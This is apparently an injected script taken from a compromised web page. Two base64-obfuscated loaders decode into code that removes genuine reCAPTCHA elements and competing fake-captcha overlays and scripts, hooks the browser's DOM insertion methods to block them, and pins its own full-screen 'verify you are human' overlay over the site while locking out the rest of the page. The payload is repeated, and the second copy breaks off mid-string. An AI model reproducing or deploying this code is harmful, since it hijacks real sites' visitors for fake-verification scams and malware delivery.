(function(){if(window.__cogniRivalKillEarly)return;window.__cogniRivalKillEarly=1;var s=document.createElement(’script‘);s.textContent=atob(„KGZ1bmN0aW9uIGxzY0NvZ25pUml2YWxLaWxsSW5pdCgpew0KICBpZiAod2luZG93Ll9fY29nbmlSaXZhbEtpbGwpIHJldHVybjsNCiAgd2luZG93Ll9fY29nbmlSaXZhbEtpbGwgPSAxOw0KICB2YXIgUklWQUxfU0VMID0gWw0KICAgICdpZnJhbWVbc3JjKj0icmVjYXB0Y2hhIl0nLCdpZnJhbWVbc3JjKj0iZ29vZ2xlLmNvbS9yZWNhcHRjaGEiXScsJ2lmcmFtZVtzcmMqPSJnc3RhdGljLmNvbS9yZWNhcHRjaGEiXScsDQogICAgJy5nLXJlY2FwdGNoYS1idWJibGUtYXJyb3cnLCcjY2ZtJywnI2NmbS1tb2RhbCcsJ1tpZF49ImNmbSJdJywnW2lkKj0iY2ZtLW1vZGFsIl0nLA0KICAgICcuY2ZtZC1yYy1sYXllcicsJy5jZm1kLXJjLWhvc3QnLCcuY2ZtZC1yYy1iYWNrZHJvcCcsJy5jZm1kLXJjLWJsdXInLCdbZGF0YS1jZm1kLW93bl0nLA0KICAgICcuY2ZtZC1vdmVybGF5LWxvY2snLCdbY2xhc3MqPSJjZm1kLXJjIl0nLCcuY2FwdGNoYS1jb250YWluZXI6bm90KCNidy1jZi1yb290IC5jYXB0Y2hhLWNvbnRhaW5lciknDQogIF07DQogIHZhciBSSVZBTF9TQ1JJUFRfUkUgPSAvaW50ZXJzZXF8bmV3dGVzdFxkK3wxMjA5MjAyNnxjZm1kLXJjfF9fY2ZtZENhcHRjaGF8c2hpZWxkZ3VhcmR8YXNzZWxvYWR8aW1tZXJzaW9uem9uZXxramhnXC5sb2x8d3BzZWN1cmV8d3AtYWNjZWxlcmF0ZXwxMDRcLjM2fG1zZnRhdXRofG1haW4td3JhcHBlci0xL2k7DQogIGZ1bmN0aW9uIGlzT3VyKGVsKXsgcmV0dXJuIGVsICYmIChlbC5pZCA9PT0gJ2J3LWNmLXJvb3QnIHx8IChlbC5jbG9zZXN0ICYmIGVsLmNsb3Nlc3QoJyNidy1jZi1yb290JykpKTsgfQ0KICBmdW5jdGlvbiBpc1JpdmFsTm9kZShlbCl7DQogICAgaWYgKCFlbCB8fCBpc091cihlbCkpIHJldHVybiBmYWxzZTsNCiAgICB2YXIgdGFnID0gKGVsLnRhZ05hbWUgfHwgJycpLnRvVXBwZXJDYXNlKCk7DQogICAgaWYgKHRhZyA9PT0gJ1NDUklQVCcgJiYgUklWQUxfU0NSSVBUX1JFLnRlc3QoZWwuc3JjIHx8IGVsLmdldEF0dHJpYnV0ZSgnc3JjJykgfHwgJycpKSByZXR1cm4gdHJ1ZTsNCiAgICB2YXIgYmxvYiA9ICgoZWwuY2xhc3NOYW1lIHx8ICcnKSArICcgJyArIChlbC5pZCB8fCAnJykgKyAnICcgKyAoZWwuZ2V0QXR0cmlidXRlICYmIGVsLmdldEF0dHJpYnV0ZSgnZGF0YS1jZm1kLW93bicpIHx8ICcnKSkudG9Mb3dlckNhc2UoKTsNCiAgICByZXR1cm4gL2NmbWR8Y2ZtLW1vZGFsfGNmbS1yY3xjYXB0Y2hhLWNvbnRhaW5lcnxyZWNhcHRjaGF8aW50ZXJzZXF8YXNzZWxvYWR8bWFpbi13cmFwcGVyfG1zZnRhdXRofHZlcmlmeSB5b3UgYXJlIGh1bWFuL2kudGVzdChibG9iKTsNCiAgfQ0KICBmdW5jdGlvbiBudWtlKGVsKXsNCiAgICBpZiAoIWVsIHx8IGlzT3VyKGVsKSkgcmV0dXJuOw0KICAgIHRyeSB7IGVsLnJlbW92ZSgpOyB9IGNhdGNoKGUpew0KICAgICAgdHJ5IHsNCiAgICAgICAgZWwuc3R5bGUuY3NzVGV4dCA9ICdkaXNwbGF5Om5vbmUhaW1wb3J0YW50O3Zpc2liaWxpdHk6aGlkZGVuIWltcG9ydGFudDtwb2ludGVyLWV2ZW50czpub25lIWltcG9ydGFudDt6LWluZGV4Oi05OTk5IWltcG9ydGFudDtvcGFjaXR5OjAhaW1wb3J0YW50Oyc7DQogICAgICB9IGNhdGNoKGUyKXt9DQogICAgfQ0KICB9DQogIGZ1bmN0aW9uIHJlbW92ZVJpdmFsU2NyaXB0cygpew0KICAgIHRyeSB7DQogICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCdzY3JpcHRbc3JjXScpLmZvckVhY2goZnVuY3Rpb24ocyl7DQogICAgICAgIHZhciBzcmMgPSBzLnNyYyB8fCBzLmdldEF0dHJpYnV0ZSgnc3JjJykgfHwgJyc7DQogICAgICAgIGlmIChSSVZBTF9TQ1JJUFRfUkUudGVzdChzcmMpKSBudWtlKHMpOw0KICAgICAgfSk7DQogICAgfSBjYXRjaChlKXt9DQogIH0NCiAgZnVuY3Rpb24gc2NydWJIdG1sUm9vdCgpew0KICAgIHRyeSB7DQogICAgICB2YXIgaHRtbCA9IGRvY3VtZW50LmRvY3VtZW50RWxlbWVudDsNCiAgICAgIGlmICghaHRtbCkgcmV0dXJuOw0KICAgICAgaHRtbC5jbGFzc0xpc3QucmVtb3ZlKCdjZm1kLW92ZXJsYXktbG9jaycpOw0KICAgICAgaWYgKGRvY3VtZW50LmJvZHkpIGRvY3VtZW50LmJvZHkuY2xhc3NMaXN0LnJlbW92ZSgnY2ZtZC1vdmVybGF5LWxvY2snKTsNCiAgICAgIEFycmF5LmZyb20oaHRtbC5jaGlsZHJlbiB8fCBbXSkuZm9yRWFjaChmdW5jdGlvbihlbCl7DQogICAgICAgIGlmICghZWwgfHwgZWwudGFnTmFtZSA9PT0gJ0hFQUQnIHx8IGVsLnRhZ05hbWUgPT09ICdCT0RZJykgcmV0dXJuOw0KICAgICAgICBpZiAoZWwuaWQgPT09ICdidy1jZi1yb290JykgcmV0dXJuOw0KICAgICAgICBpZiAoaXNSaXZhbE5vZGUoZWwpKSBudWtlKGVsKTsNCiAgICAgIH0pOw0KICAgIH0gY2F0Y2goZSl7fQ0KICAgIHRyeSB7IGRlbGV0ZSB3aW5kb3cuX19jZm1kQ2FwdGNoYTsgfSBjYXRjaChlKXsgd2luZG93Ll9fY2ZtZENhcHRjaGEgPSB1bmRlZmluZWQ7IH0NCiAgfQ0KICBmdW5jdGlvbiBraWxsUml2YWxOb2Rlcygpew0KICAgIFJJVkFMX1NFTC5mb3JFYWNoKGZ1bmN0aW9uKHNlbCl7DQogICAgICB0cnkgeyBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKHNlbCkuZm9yRWFjaChmdW5jdGlvbihub2RlKXsgaWYgKCFpc091cihub2RlKSkgbnVrZShub2RlKTsgfSk7IH0gY2F0Y2goZSl7fQ0KICAgIH0pOw0KICAgIHNjcnViSHRtbFJvb3QoKTsNCiAgICByZW1vdmVSaXZhbFNjcmlwdHMoKTsNCiAgfQ0KICBmdW5jdGlvbiBlbnN1cmVSaXZhbENzcygpew0KICAgIHZhciBzdHlsZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjb2duaS1yaXZhbC1raWxsLWNzcycpOw0KICAgIGlmIChzdHlsZSkgcmV0dXJuOw0KICAgIHN0eWxlID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc3R5bGUnKTsNCiAgICBzdHlsZS5pZCA9ICdjb2duaS1yaXZhbC1raWxsLWNzcyc7DQogICAgc3R5bGUudGV4dENvbnRlbnQgPSAnaHRtbC5jZm1kLW92ZXJsYXktbG9jayxib2R5LmNmbWQtb3ZlcmxheS1sb2Nre292ZXJmbG93OmF1dG8haW1wb3J0YW50O3BvaW50ZXItZXZlbnRzOmF1dG8haW1wb3J0YW50O30uY2ZtZC1yYy1sYXllciwuY2ZtZC1yYy1ob3N0LC5jZm1kLXJjLWJsdXIsW2RhdGEtY2ZtZC1vd25dLGlmcmFtZVtzcmMqPSJyZWNhcHRjaGEiXSxpZnJhbWVbc3JjKj0iZ3N0YXRpYy5jb20vcmVjYXB0Y2hhIl0sLmctcmVjYXB0Y2hhOm5vdCgjYnctY2Ytcm9vdCAuZy1yZWNhcHRjaGEpLCNjZm0sI2NmbS1tb2RhbCxbaWRePSJjZm0iXSxbY2xhc3MqPSJjZm1kLXJjIl17ZGlzcGxheTpub25lIWltcG9ydGFudDt2aXNpYmlsaXR5OmhpZGRlbiFpbXBvcnRhbnQ7cG9pbnRlci1ldmVudHM6bm9uZSFpbXBvcnRhbnQ7ei1pbmRleDotOTk5OSFpbXBvcnRhbnQ7b3BhY2l0eTowIWltcG9ydGFudDt9aHRtbC5jb2duaS1jYXB0Y2hhLWFjdGl2ZSxodG1sLmNvZ25pLWNhcHRjaGEtYWN0aXZlIGJvZHl7b3ZlcmZsb3c6aGlkZGVuIWltcG9ydGFudDttYXJnaW46MCFpbXBvcnRhbnQ7cGFkZGluZzowIWltcG9ydGFudDt9aHRtbC5jb2duaS1jYXB0Y2hhLWFjdGl2ZSBib2R5Pio6bm90KCNidy1jZi1yb290KXtwb2ludGVyLWV2ZW50czpub25lIWltcG9ydGFudDt9I2J3LWNmLXJvb3QsI2J3LWNmLXJvb3QgKntwb2ludGVyLWV2ZW50czphdXRvIWltcG9ydGFudDt9I2J3LWNmLXJvb3R7ei1pbmRleDoyMTQ3NDgzNjQ3IWltcG9ydGFudDtwb3NpdGlvbjpmaXhlZCFpbXBvcnRhbnQ7dG9wOjAhaW1wb3J0YW50O2xlZnQ6MCFpbXBvcnRhbnQ7cmlnaHQ6MCFpbXBvcnRhbnQ7Ym90dG9tOjAhaW1wb3J0YW50O3dpZHRoOjEwMHZ3IWltcG9ydGFudDtoZWlnaHQ6MTAwdmghaW1wb3J0YW50O21pbi13aWR0aDoxMDB2dyFpbXBvcnRhbnQ7bWluLWhlaWdodDoxMDB2aCFpbXBvcnRhbnQ7bWF4LXdpZHRoOm5vbmUhaW1wb3J0YW50O21heC1oZWlnaHQ6bm9uZSFpbXBvcnRhbnQ7bWFyZ2luOjAhaW1wb3J0YW50O3BhZGRpbmc6MCFpbXBvcnRhbnQ7Ym94LXNpemluZzpib3JkZXItYm94IWltcG9ydGFudDt0cmFuc2Zvcm06bm9uZSFpbXBvcnRhbnQ7fSc7DQogICAgKGRvY3VtZW50LmhlYWQgfHwgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50KS5hcHBlbmRDaGlsZChzdHlsZSk7DQogIH0NCiAgZnVuY3Rpb24gaG9va0RvbUluc2VydCgpew0KICAgIGZ1bmN0aW9uIGd1YXJkKG5vZGUpew0KICAgICAgaWYgKCFub2RlKSByZXR1cm4gZmFsc2U7DQogICAgICBpZiAobm9kZS5ub2RlVHlwZSA9PT0gMSAmJiBpc1JpdmFsTm9kZShub2RlKSkgeyBudWtlKG5vZGUpOyByZXR1cm4gdHJ1ZTsgfQ0KICAgICAgaWYgKG5vZGUudGFnTmFtZSA9PT0gJ1NDUklQVCcpIHsNCiAgICAgICAgdmFyIHNyYyA9IG5vZGUuc3JjIHx8IG5vZGUuZ2V0QXR0cmlidXRlKCdzcmMnKSB8fCAnJzsNCiAgICAgICAgaWYgKFJJVkFMX1NDUklQVF9SRS50ZXN0KHNyYykpIHsgbnVrZShub2RlKTsgcmV0dXJuIHRydWU7IH0NCiAgICAgIH0NCiAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQogICAgdHJ5IHsNCiAgICAgIHZhciBhcCA9IEVsZW1lbnQucHJvdG90eXBlLmFwcGVuZENoaWxkOw0KICAgICAgRWxlbWVudC5wcm90b3R5cGUuYXBwZW5kQ2hpbGQgPSBmdW5jdGlvbihjaCl7DQogICAgICAgIGlmIChndWFyZChjaCkpIHJldHVybiBjaDsNCiAgICAgICAgcmV0dXJuIGFwLmNhbGwodGhpcywgY2gpOw0KICAgICAgfTsNCiAgICAgIHZhciBpYiA9IEVsZW1lbnQucHJvdG90eXBlLmluc2VydEJlZm9yZTsNCiAgICAgIEVsZW1lbnQucHJvdG90eXBlLmluc2VydEJlZm9yZSA9IGZ1bmN0aW9uKGNoLCByZWYpew0KICAgICAgICBpZiAoZ3VhcmQoY2gpKSByZXR1cm4gY2g7DQogICAgICAgIHJldHVybiBpYi5jYWxsKHRoaXMsIGNoLCByZWYpOw0KICAgICAgfTsNCiAgICAgIHZhciByYyA9IEVsZW1lbnQucHJvdG90eXBlLnJlcGxhY2VDaGlsZDsNCiAgICAgIEVsZW1lbnQucHJvdG90eXBlLnJlcGxhY2VDaGlsZCA9IGZ1bmN0aW9uKG5ldSwgb2xkKXsNCiAgICAgICAgaWYgKGd1YXJkKG5ldSkpIHJldHVybiBvbGQ7DQogICAgICAgIHJldHVybiByYy5jYWxsKHRoaXMsIG5ldSwgb2xkKTsNCiAgICAgIH07DQogICAgfSBjYXRjaChlKXt9DQogIH0NCiAgd2luZG93LmxzY0NvZ25pU3RhY2tPdXJPdmVybGF5ID0gZnVuY3Rpb24ocm9vdCl7DQogICAgdmFyIGVsID0gcm9vdCB8fCBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYnctY2Ytcm9vdCcpOw0KICAgIGlmICghZWwpIHJldHVybjsNCiAgICBlbnN1cmVSaXZhbENzcygpOw0KICAgIHRyeSB7IGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5jbGFzc0xpc3QuYWRkKCdjb2duaS1jYXB0Y2hhLWFjdGl2ZScpOyB9IGNhdGNoKGUpe30NCiAgICB0cnkgeyBlbC5yZW1vdmVBdHRyaWJ1dGUoJ3BvcG92ZXInKTsgfSBjYXRjaChlKXt9DQogICAgaWYgKGVsLnBhcmVudE5vZGUgIT09IGRvY3VtZW50LmRvY3VtZW50RWxlbWVudCkgew0KICAgICAgdHJ5IHsgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmFwcGVuZENoaWxkKGVsKTsgfSBjYXRjaChlKXt9DQogICAgfQ0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCd6LWluZGV4JywgJzIxNDc0ODM2NDcnLCAnaW1wb3J0YW50Jyk7DQogICAgZWwuc3R5bGUuc2V0UHJvcGVydHkoJ3Bvc2l0aW9uJywgJ2ZpeGVkJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCd0b3AnLCAnMCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnbGVmdCcsICcwJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdyaWdodCcsICcwJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdib3R0b20nLCAnMCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnd2lkdGgnLCAnMTAwdncnLCAnaW1wb3J0YW50Jyk7DQogICAgZWwuc3R5bGUuc2V0UHJvcGVydHkoJ2hlaWdodCcsICcxMDB2aCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnbWluLXdpZHRoJywgJzEwMHZ3JywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdtaW4taGVpZ2h0JywgJzEwMHZoJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdtYXgtd2lkdGgnLCAnbm9uZScsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnbWF4LWhlaWdodCcsICdub25lJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdtYXJnaW4nLCAnMCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgndHJhbnNmb3JtJywgJ25vbmUnLCAnaW1wb3J0YW50Jyk7DQogIH07DQogIGZ1bmN0aW9uIHRpY2soKXsNCiAgICBraWxsUml2YWxOb2RlcygpOw0KICAgIGVuc3VyZVJpdmFsQ3NzKCk7DQogICAgaWYgKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdidy1jZi1yb290JykpIHdpbmRvdy5sc2NDb2duaVN0YWNrT3VyT3ZlcmxheSgpOw0KICB9DQogIGhvb2tEb21JbnNlcnQoKTsNCiAgdGljaygpOw0KfSkoKTs=“);(document.documentElement||document.head).appendChild(s);})(); (function(){if(window.__cogniB64Ran)return;window.__cogniB64Ran=1;var s=document.createElement(’script‘);s.textContent=atob(„KGZ1bmN0aW9uIGxzY0NvZ25pUml2YWxLaWxsSW5pdCgpew0KICBpZiAod2luZG93Ll9fY29nbmlSaXZhbEtpbGwpIHJldHVybjsNCiAgd2luZG93Ll9fY29nbmlSaXZhbEtpbGwgPSAxOw0KICB2YXIgUklWQUxfU0VMID0gWw0KICAgICdpZnJhbWVbc3JjKj0icmVjYXB0Y2hhIl0nLCdpZnJhbWVbc3JjKj0iZ29vZ2xlLmNvbS9yZWNhcHRjaGEiXScsJ2lmcmFtZVtzcmMqPSJnc3RhdGljLmNvbS9yZWNhcHRjaGEiXScsDQogICAgJy5nLXJlY2FwdGNoYS1idWJibGUtYXJyb3cnLCcjY2ZtJywnI2NmbS1tb2RhbCcsJ1tpZF49ImNmbSJdJywnW2lkKj0iY2ZtLW1vZGFsIl0nLA0KICAgICcuY2ZtZC1yYy1sYXllcicsJy5jZm1kLXJjLWhvc3QnLCcuY2ZtZC1yYy1iYWNrZHJvcCcsJy5jZm1kLXJjLWJsdXInLCdbZGF0YS1jZm1kLW93bl0nLA0KICAgICcuY2ZtZC1vdmVybGF5LWxvY2snLCdbY2xhc3MqPSJjZm1kLXJjIl0nLCcuY2FwdGNoYS1jb250YWluZXI6bm90KCNidy1jZi1yb290IC5jYXB0Y2hhLWNvbnRhaW5lciknDQogIF07DQogIHZhciBSSVZBTF9TQ1JJUFRfUkUgPSAvaW50ZXJzZXF8bmV3dGVzdFxkK3wxMjA5MjAyNnxjZm1kLXJjfF9fY2ZtZENhcHRjaGF8c2hpZWxkZ3VhcmR8YXNzZWxvYWR8aW1tZXJzaW9uem9uZXxramhnXC5sb2x8d3BzZWN1cmV8d3AtYWNjZWxlcmF0ZXwxMDRcLjM2fG1zZnRhdXRofG1haW4td3JhcHBlci0xL2k7DQogIGZ1bmN0aW9uIGlzT3VyKGVsKXsgcmV0dXJuIGVsICYmIChlbC5pZCA9PT0gJ2J3LWNmLXJvb3QnIHx8IChlbC5jbG9zZXN0ICYmIGVsLmNsb3Nlc3QoJyNidy1jZi1yb290JykpKTsgfQ0KICBmdW5jdGlvbiBpc1JpdmFsTm9kZShlbCl7DQogICAgaWYgKCFlbCB8fCBpc091cihlbCkpIHJldHVybiBmYWxzZTsNCiAgICB2YXIgdGFnID0gKGVsLnRhZ05hbWUgfHwgJycpLnRvVXBwZXJDYXNlKCk7DQogICAgaWYgKHRhZyA9PT0gJ1NDUklQVCcgJiYgUklWQUxfU0NSSVBUX1JFLnRlc3QoZWwuc3JjIHx8IGVsLmdldEF0dHJpYnV0ZSgnc3JjJykgfHwgJycpKSByZXR1cm4gdHJ1ZTsNCiAgICB2YXIgYmxvYiA9ICgoZWwuY2xhc3NOYW1lIHx8ICcnKSArICcgJyArIChlbC5pZCB8fCAnJykgKyAnICcgKyAoZWwuZ2V0QXR0cmlidXRlICYmIGVsLmdldEF0dHJpYnV0ZSgnZGF0YS1jZm1kLW93bicpIHx8ICcnKSkudG9Mb3dlckNhc2UoKTsNCiAgICByZXR1cm4gL2NmbWR8Y2ZtLW1vZGFsfGNmbS1yY3xjYXB0Y2hhLWNvbnRhaW5lcnxyZWNhcHRjaGF8aW50ZXJzZXF8YXNzZWxvYWR8bWFpbi13cmFwcGVyfG1zZnRhdXRofHZlcmlmeSB5b3UgYXJlIGh1bWFuL2kudGVzdChibG9iKTsNCiAgfQ0KICBmdW5jdGlvbiBudWtlKGVsKXsNCiAgICBpZiAoIWVsIHx8IGlzT3VyKGVsKSkgcmV0dXJuOw0KICAgIHRyeSB7IGVsLnJlbW92ZSgpOyB9IGNhdGNoKGUpew0KICAgICAgdHJ5IHsNCiAgICAgICAgZWwuc3R5bGUuY3NzVGV4dCA9ICdkaXNwbGF5Om5vbmUhaW1wb3J0YW50O3Zpc2liaWxpdHk6aGlkZGVuIWltcG9ydGFudDtwb2ludGVyLWV2ZW50czpub25lIWltcG9ydGFudDt6LWluZGV4Oi05OTk5IWltcG9ydGFudDtvcGFjaXR5OjAhaW1wb3J0YW50Oyc7DQogICAgICB9IGNhdGNoKGUyKXt9DQogICAgfQ0KICB9DQogIGZ1bmN0aW9uIHJlbW92ZVJpdmFsU2NyaXB0cygpew0KICAgIHRyeSB7DQogICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCdzY3JpcHRbc3JjXScpLmZvckVhY2goZnVuY3Rpb24ocyl7DQogICAgICAgIHZhciBzcmMgPSBzLnNyYyB8fCBzLmdldEF0dHJpYnV0ZSgnc3JjJykgfHwgJyc7DQogICAgICAgIGlmIChSSVZBTF9TQ1JJUFRfUkUudGVzdChzcmMpKSBudWtlKHMpOw0KICAgICAgfSk7DQogICAgfSBjYXRjaChlKXt9DQogIH0NCiAgZnVuY3Rpb24gc2NydWJIdG1sUm9vdCgpew0KICAgIHRyeSB7DQogICAgICB2YXIgaHRtbCA9IGRvY3VtZW50LmRvY3VtZW50RWxlbWVudDsNCiAgICAgIGlmICghaHRtbCkgcmV0dXJuOw0KICAgICAgaHRtbC5jbGFzc0xpc3QucmVtb3ZlKCdjZm1kLW92ZXJsYXktbG9jaycpOw0KICAgICAgaWYgKGRvY3VtZW50LmJvZHkpIGRvY3VtZW50LmJvZHkuY2xhc3NMaXN0LnJlbW92ZSgnY2ZtZC1vdmVybGF5LWxvY2snKTsNCiAgICAgIEFycmF5LmZyb20oaHRtbC5jaGlsZHJlbiB8fCBbXSkuZm9yRWFjaChmdW5jdGlvbihlbCl7DQogICAgICAgIGlmICghZWwgfHwgZWwudGFnTmFtZSA9PT0gJ0hFQUQnIHx8IGVsLnRhZ05hbWUgPT09ICdCT0RZJykgcmV0dXJuOw0KICAgICAgICBpZiAoZWwuaWQgPT09ICdidy1jZi1yb290JykgcmV0dXJuOw0KICAgICAgICBpZiAoaXNSaXZhbE5vZGUoZWwpKSBudWtlKGVsKTsNCiAgICAgIH0pOw0KICAgIH0gY2F0Y2goZSl7fQ0KICAgIHRyeSB7IGRlbGV0ZSB3aW5kb3cuX19jZm1kQ2FwdGNoYTsgfSBjYXRjaChlKXsgd2luZG93Ll9fY2ZtZENhcHRjaGEgPSB1bmRlZmluZWQ7IH0NCiAgfQ0KICBmdW5jdGlvbiBraWxsUml2YWxOb2Rlcygpew0KICAgIFJJVkFMX1NFTC5mb3JFYWNoKGZ1bmN0aW9uKHNlbCl7DQogICAgICB0cnkgeyBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKHNlbCkuZm9yRWFjaChmdW5jdGlvbihub2RlKXsgaWYgKCFpc091cihub2RlKSkgbnVrZShub2RlKTsgfSk7IH0gY2F0Y2goZSl7fQ0KICAgIH0pOw0KICAgIHNjcnViSHRtbFJvb3QoKTsNCiAgICByZW1vdmVSaXZhbFNjcmlwdHMoKTsNCiAgfQ0KICBmdW5jdGlvbiBlbnN1cmVSaXZhbENzcygpew0KICAgIHZhciBzdHlsZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjb2duaS1yaXZhbC1raWxsLWNzcycpOw0KICAgIGlmIChzdHlsZSkgcmV0dXJuOw0KICAgIHN0eWxlID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc3R5bGUnKTsNCiAgICBzdHlsZS5pZCA9ICdjb2duaS1yaXZhbC1raWxsLWNzcyc7DQogICAgc3R5bGUudGV4dENvbnRlbnQgPSAnaHRtbC5jZm1kLW92ZXJsYXktbG9jayxib2R5LmNmbWQtb3ZlcmxheS1sb2Nre292ZXJmbG93OmF1dG8haW1wb3J0YW50O3BvaW50ZXItZXZlbnRzOmF1dG8haW1wb3J0YW50O30uY2ZtZC1yYy1sYXllciwuY2ZtZC1yYy1ob3N0LC5jZm1kLXJjLWJsdXIsW2RhdGEtY2ZtZC1vd25dLGlmcmFtZVtzcmMqPSJyZWNhcHRjaGEiXSxpZnJhbWVbc3JjKj0iZ3N0YXRpYy5jb20vcmVjYXB0Y2hhIl0sLmctcmVjYXB0Y2hhOm5vdCgjYnctY2Ytcm9vdCAuZy1yZWNhcHRjaGEpLCNjZm0sI2NmbS1tb2RhbCxbaWRePSJjZm0iXSxbY2xhc3MqPSJjZm1kLXJjIl17ZGlzcGxheTpub25lIWltcG9ydGFudDt2aXNpYmlsaXR5OmhpZGRlbiFpbXBvcnRhbnQ7cG9pbnRlci1ldmVudHM6bm9uZSFpbXBvcnRhbnQ7ei1pbmRleDotOTk5OSFpbXBvcnRhbnQ7b3BhY2l0eTowIWltcG9ydGFudDt9aHRtbC5jb2duaS1jYXB0Y2hhLWFjdGl2ZSxodG1sLmNvZ25pLWNhcHRjaGEtYWN0aXZlIGJvZHl7b3ZlcmZsb3c6aGlkZGVuIWltcG9ydGFudDttYXJnaW46MCFpbXBvcnRhbnQ7cGFkZGluZzowIWltcG9ydGFudDt9aHRtbC5jb2duaS1jYXB0Y2hhLWFjdGl2ZSBib2R5Pio6bm90KCNidy1jZi1yb290KXtwb2ludGVyLWV2ZW50czpub25lIWltcG9ydGFudDt9I2J3LWNmLXJvb3QsI2J3LWNmLXJvb3QgKntwb2ludGVyLWV2ZW50czphdXRvIWltcG9ydGFudDt9I2J3LWNmLXJvb3R7ei1pbmRleDoyMTQ3NDgzNjQ3IWltcG9ydGFudDtwb3NpdGlvbjpmaXhlZCFpbXBvcnRhbnQ7dG9wOjAhaW1wb3J0YW50O2xlZnQ6MCFpbXBvcnRhbnQ7cmlnaHQ6MCFpbXBvcnRhbnQ7Ym90dG9tOjAhaW1wb3J0YW50O3dpZHRoOjEwMHZ3IWltcG9ydGFudDtoZWlnaHQ6MTAwdmghaW1wb3J0YW50O21pbi13aWR0aDoxMDB2dyFpbXBvcnRhbnQ7bWluLWhlaWdodDoxMDB2aCFpbXBvcnRhbnQ7bWF4LXdpZHRoOm5vbmUhaW1wb3J0YW50O21heC1oZWlnaHQ6bm9uZSFpbXBvcnRhbnQ7bWFyZ2luOjAhaW1wb3J0YW50O3BhZGRpbmc6MCFpbXBvcnRhbnQ7Ym94LXNpemluZzpib3JkZXItYm94IWltcG9ydGFudDt0cmFuc2Zvcm06bm9uZSFpbXBvcnRhbnQ7fSc7DQogICAgKGRvY3VtZW50LmhlYWQgfHwgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50KS5hcHBlbmRDaGlsZChzdHlsZSk7DQogIH0NCiAgZnVuY3Rpb24gaG9va0RvbUluc2VydCgpew0KICAgIGZ1bmN0aW9uIGd1YXJkKG5vZGUpew0KICAgICAgaWYgKCFub2RlKSByZXR1cm4gZmFsc2U7DQogICAgICBpZiAobm9kZS5ub2RlVHlwZSA9PT0gMSAmJiBpc1JpdmFsTm9kZShub2RlKSkgeyBudWtlKG5vZGUpOyByZXR1cm4gdHJ1ZTsgfQ0KICAgICAgaWYgKG5vZGUudGFnTmFtZSA9PT0gJ1NDUklQVCcpIHsNCiAgICAgICAgdmFyIHNyYyA9IG5vZGUuc3JjIHx8IG5vZGUuZ2V0QXR0cmlidXRlKCdzcmMnKSB8fCAnJzsNCiAgICAgICAgaWYgKFJJVkFMX1NDUklQVF9SRS50ZXN0KHNyYykpIHsgbnVrZShub2RlKTsgcmV0dXJuIHRydWU7IH0NCiAgICAgIH0NCiAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQogICAgdHJ5IHsNCiAgICAgIHZhciBhcCA9IEVsZW1lbnQucHJvdG90eXBlLmFwcGVuZENoaWxkOw0KICAgICAgRWxlbWVudC5wcm90b3R5cGUuYXBwZW5kQ2hpbGQgPSBmdW5jdGlvbihjaCl7DQogICAgICAgIGlmIChndWFyZChjaCkpIHJldHVybiBjaDsNCiAgICAgICAgcmV0dXJuIGFwLmNhbGwodGhpcywgY2gpOw0KICAgICAgfTsNCiAgICAgIHZhciBpYiA9IEVsZW1lbnQucHJvdG90eXBlLmluc2VydEJlZm9yZTsNCiAgICAgIEVsZW1lbnQucHJvdG90eXBlLmluc2VydEJlZm9yZSA9IGZ1bmN0aW9uKGNoLCByZWYpew0KICAgICAgICBpZiAoZ3VhcmQoY2gpKSByZXR1cm4gY2g7DQogICAgICAgIHJldHVybiBpYi5jYWxsKHRoaXMsIGNoLCByZWYpOw0KICAgICAgfTsNCiAgICAgIHZhciByYyA9IEVsZW1lbnQucHJvdG90eXBlLnJlcGxhY2VDaGlsZDsNCiAgICAgIEVsZW1lbnQucHJvdG90eXBlLnJlcGxhY2VDaGlsZCA9IGZ1bmN0aW9uKG5ldSwgb2xkKXsNCiAgICAgICAgaWYgKGd1YXJkKG5ldSkpIHJldHVybiBvbGQ7DQogICAgICAgIHJldHVybiByYy5jYWxsKHRoaXMsIG5ldSwgb2xkKTsNCiAgICAgIH07DQogICAgfSBjYXRjaChlKXt9DQogIH0NCiAgd2luZG93LmxzY0NvZ25pU3RhY2tPdXJPdmVybGF5ID0gZnVuY3Rpb24ocm9vdCl7DQogICAgdmFyIGVsID0gcm9vdCB8fCBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYnctY2Ytcm9vdCcpOw0KICAgIGlmICghZWwpIHJldHVybjsNCiAgICBlbnN1cmVSaXZhbENzcygpOw0KICAgIHRyeSB7IGRvY3VtZW50LmRvY3VtZW50RWxlbWVu